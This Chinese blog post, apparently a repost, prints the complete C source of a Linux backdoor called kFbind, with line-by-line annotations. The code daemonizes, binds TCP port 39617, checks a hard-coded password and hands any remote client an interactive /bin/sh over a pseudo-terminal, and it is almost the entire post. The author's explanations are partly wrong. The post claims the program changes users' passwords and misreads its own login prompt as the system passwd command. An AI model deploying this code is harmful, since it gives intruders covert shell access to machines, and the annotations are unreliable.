基于Linux平台下网络病毒Caem.c源码及解析

Came.c型病毒在这里主要修改了用户的密码,同时对用户的终端设备进行了监视。希望与大家共同交流

转载请注明出处:http://blog.csdn.net/u010484477     O(∩_∩)O谢谢

#define HOME "/"
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define PORT 39617
#define BUF 32768

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>

struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};

/* passwd protection by KillFinger oF SecretColony */
int sc;
char passwd[] = "kF";
char motd[] ="=- SecretColony Lab N Research Project -=\n";
//**************************************************************************************病毒的恶意部分***********************************************************
void kf_shell()
{
    char buffer[150];

    write(sc, "passwd ", 7); //用户在屏幕输入“passwd”,会让用户输入密码,同时系统也会输出相应的东西刚开始一直没有看懂这个是什么意思?sc根本没有空间,后来直接在我的CentOs上输入了passwd,一下子系统就返回了change usr:,于是想到了,原来这句话是这个用途,感觉只看不自己去做有些东西是很难看出来的,至少对我来说是这样
    read(sc, buffer, sizeof(buffer));
    if (!strncmp(buffer, passwd, strlen(passwd))) //比较这个系统返回的话中是否有 has "kF"(我上网查了一下,网上很多都说kf是游戏服务器)
    {
        write(sc, motd, sizeof(motd)); //改写密码
    }
    else
    {
        write(sc, "DiE!!!\n", 7); //不能操作了
        close(sc); exit(0);
    }
}
//**********************************************************************************************************************************************************************
/* creates tty/pty name by index */
void get_tty(int num, char *base, char *buf)
{
    char series[] = "pqrstuvwxyzabcde";
    char subs[]   = "0123456789abcdef";
    int pos = strlen(base);        //base is tty/pty name
    strcpy(buf, base);                //pos is name‘s length
    buf[pos] = series[(num >> 4) & 0xF];
    buf[pos+1] = subs[num & 0xF];
    buf[pos+2] = 0;
}

/* search for free pty and open it */
int open_tty(int *tty, int *pty)
{
    char buf[512];
    int i, fd;

    fd = open("/dev/ptmx", O_RDWR); //write and read open it
    close(fd);

    for (i=0; i < 256; i++)
    {
        get_tty(i, "/dev/pty", buf);            //buf has a path "/dev/pty/XXXX"
        *pty = open(buf, O_RDWR);
        if (*pty < 0)
            continue;
        get_tty(i, "/dev/tty", buf);              //buf has a path "/dev/tty/XXXX"
        *tty = open(buf, O_RDWR);
        if (*tty < 0)
        {
            close(*pty);
            continue;
        }
            return 1;
        }
    return 0;
}

/* to avoid creating zombies ;) */
void sig_child(int i)
{
    signal(SIGCHLD, sig_child);       //when process stop ,begin sig_child function
    waitpid(-1, NULL, WNOHANG);   //suspend process temp
}

void hangout(int i)
{
    kill(0, SIGHUP);
    kill(0, SIGTERM);                           //终止与当前进程组内的所有进程

}


//调用
int main()
{
    int pid;
    struct sockaddr_in serv;    
    struct sockaddr_in cli;     
    //struct sockaddr_in  
    {  
        //shortsin_family;            /*Addressfamily一般来说AF_INET(地址族)PF_INET(协议族)*/
        //unsignedshortsin_port;    /*Portnumber(必须要采用网络数据格式,普通数字可以用htons()函数转换成网络数据格式的数字)*/
        //structin_addrsin_addr;    /*Internetaddress*/  
        //unsignedcharsin_zero[8];    /*Samesizeasstructsockaddr没有实际意义,只是为了跟SOCKADDR结构在内存中对齐*/
    // };

    int sock;
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0)
    {
        perror("socket");
        return 1;
    }

    bzero((char *) &serv, sizeof(serv));                               //make sizeof(serv) bytes as zero
    serv.sin_family = AF_INET;
    serv.sin_addr.s_addr = htonl(INADDR_ANY);
    serv.sin_port = htons(PORT);
    if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) //将套接字绑定到一个已知的地址上。
    {
        perror("bind");
        return 1;
    }
    if (listen(sock, 5) < 0)
    {
        perror("listen");
        return 1;
    }
    printf("kFbind is starting...");

    fflush(stdout); //刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上

    pid = fork();     //create a child process,give child process id
    if (pid !=0 )      //it‘s a father process
    {
        printf("OK, pid = %d\n", pid);
        printf("Enj0y y0uR d00r by SecretColony\n");
        return 0;
    }

    /* daemonize */
    setsid();                  //当前进程会成为新会话的领头进程,同时与控制终端脱离
    chdir("/");                //改变当前工作目录位"/"
    pid = open("/dev/null", O_RDWR); //开启无底洞
    dup2(pid, 0); //copy file handle
    dup2(pid, 1);
    dup2(pid, 2);
    close(pid);
    signal(SIGHUP, SIG_IGN);     //发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送

    signal(SIGCHLD, sig_child);  //when process stop ,begin sig_child function

    while (1)
    {
        int scli;
        int slen;
        slen = sizeof(cli);
        scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息,
        //创建新的套接字,并返回该套接字的文件描述符。新创建的套接字用于服务器与客户机的通信,而原来的套接字仍然处于监听状态。

        if (scli < 0)
            continue;
        pid = fork();   //create a child process,give child process id
        if (pid == 0)   //it‘s child process
        {
            int subshell;
            int tty;
            int pty;
            fd_set fds;
            char buf[BUF];
            char *argv[] = {"sh", "-i", NULL};
            #define MAXENV 256
            #define ENVLEN 256
            char *envp[MAXENV];
            char envbuf[(MAXENV+2) * ENVLEN];
            int j, i;

            char home[256];


            /* setup enviroment */
            envp[0] = home;
            sprintf(home, "HOME=%s", "/");
            j = 0;
            do {
                    i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
                    envp[j+1] = &envbuf[j * ENVLEN];
                    j++;
                    if ((j >= MAXENV) || (i < ENVLEN))
                        break;
                } while (envbuf[(j-1) * ENVLEN] != ‘\n‘); //直到读到回车为止

            envp[j+1] = NULL;

            /* create new group */
            setpgid(0, 0);            //目前进程ID将用作进程组ID

            /* open slave & master side of tty */
            if (!open_tty(&tty, &pty))
            {
                char msg[] = "Can‘t fork pty, bye!\n"; //还在这幽默呢
                write(scli, msg, strlen(msg));
                close(scli);
                exit(0);
            }

            /* fork child */
            subshell = fork();
            if (subshell == 0)
            {
                /* close master */
                close(pty);
                /* attach tty */
                setsid();                        //进程与控制终端脱离
                ioctl(tty, TIOCSCTTY); //可向设备发送控制和配置命令
                /* close local part of connection */
                close(scli);
                close(sock);
                signal(SIGHUP, SIG_DFL); //发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送
                                                                //SIG_DFL 这个符号表示恢复系统对信号的默认处理

                signal(SIGCHLD, SIG_DFL); //when process stop
                dup2(tty, 0);
                dup2(tty, 1);
                dup2(tty, 2);
                close(tty);
                kf_shell();
                execve("/bin/sh", argv, envp);
                //execve()用来执行参数filename字符串所代表的文件路径,
                //第二个参数是利用数组指针来传递给执行文件,并且需要以空指针(NULL)结束,
                //最后一个参数则为传递给执行文件的新环境变量数组。
                //就像上面那样
                //char *argv[] = {"sh", "-i", NULL};
                //envp包含scli的东西
                //scli = accept(sock, (struct sockaddr *) &cli, &slen); //从连接请求队列中获得连接信息,

            }
            /* close slave */
            close(tty);

            signal(SIGHUP, hangout);
            signal(SIGTERM, hangout); //发送终止信号时启用handout

            while (1)
            {
                /* watch tty and client side */
                FD_ZERO(&fds);      //初始化套接字
                FD_SET(pty, &fds);  //将pty加入fds集合
                FD_SET(scli, &fds); //将scli加入fds集合
                if (select((pty > scli) ? (pty+1) : (scli+1),
                &fds, NULL, NULL, NULL) < 0)
                {
                    break;
                }
                if (FD_ISSET(pty, &fds)) //检查在select函数返回后,某个描述符是否准备好,以便进行接下来的处理操作。
                {
                    int count;
                    count = read(pty, buf, BUF);
                    if (count <= 0)
                        break;
                    if (write(scli, buf, count) <= 0)//从pty里面读出来放入到Scli中
                        break;
                }
                if (FD_ISSET(scli, &fds))
                {
                    int count;
                    unsigned char *p, *d;
                    d = buf;
                    count = read(scli, buf, BUF);
                    if (count <= 0)
                        break;

                    /* setup win size */
                    p = memchr(buf, ECHAR, count); //从buf所指内存区域的前count个字节查找字符ECHAR。
                    if (p)
                    {
                        unsigned char wb[5];
                        int rlen = count - ((ulong)p - (ulong)buf);
                        struct winsize ws;

                        /* wait for rest */
                        if (rlen > 5)
                            rlen = 5;
                            memcpy(wb, p, rlen);
                        if (rlen < 5)
                        {
                            read(scli, &wb[rlen], 5 - rlen);
                        }

                        /* setup window */
                        ws.ws_xpixel = ws.ws_ypixel = 0;
                        ws.ws_col = (wb[1] << 8) + wb[2];
                        ws.ws_row = (wb[3] << 8) + wb[4];
                        ioctl(pty, TIOCSWINSZ, &ws); //可向设备发送控制和配置指令了
                        kill(0, SIGWINCH);

                        /* write the rest */
                        write(pty, buf, (ulong) p - (ulong) buf);
                        rlen = ((ulong) buf + count) - ((ulong)p+5);
                        if (rlen > 0)
                            write(pty, p+5, rlen);
                    }
                    else if (write(pty, d, count) <= 0)
                        break;

                    }
                }
                close(scli);
                close(sock);
                close(pty);
                waitpid(subshell, NULL, 0); //暂时停止目前进程的执行,直到有信号来到或子进程结束。
                vhangup(); //将当前进程挂起
                exit(0);
            }
            close(scli);
        }

}

分析了一段时间的病毒样本,感觉不同的病毒就是一种新的思路,自己需要学习的还有很多很多。。。

最后是自己喜欢的一句话:

If you don‘t fight for what you love, don‘t cry for what you lose.

如果你不为你的所爱奋斗,那就别为你的失去而哭泣

基于Linux平台下网络病毒Caem.c源码及解析,古老的榕树,5-wow.com

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。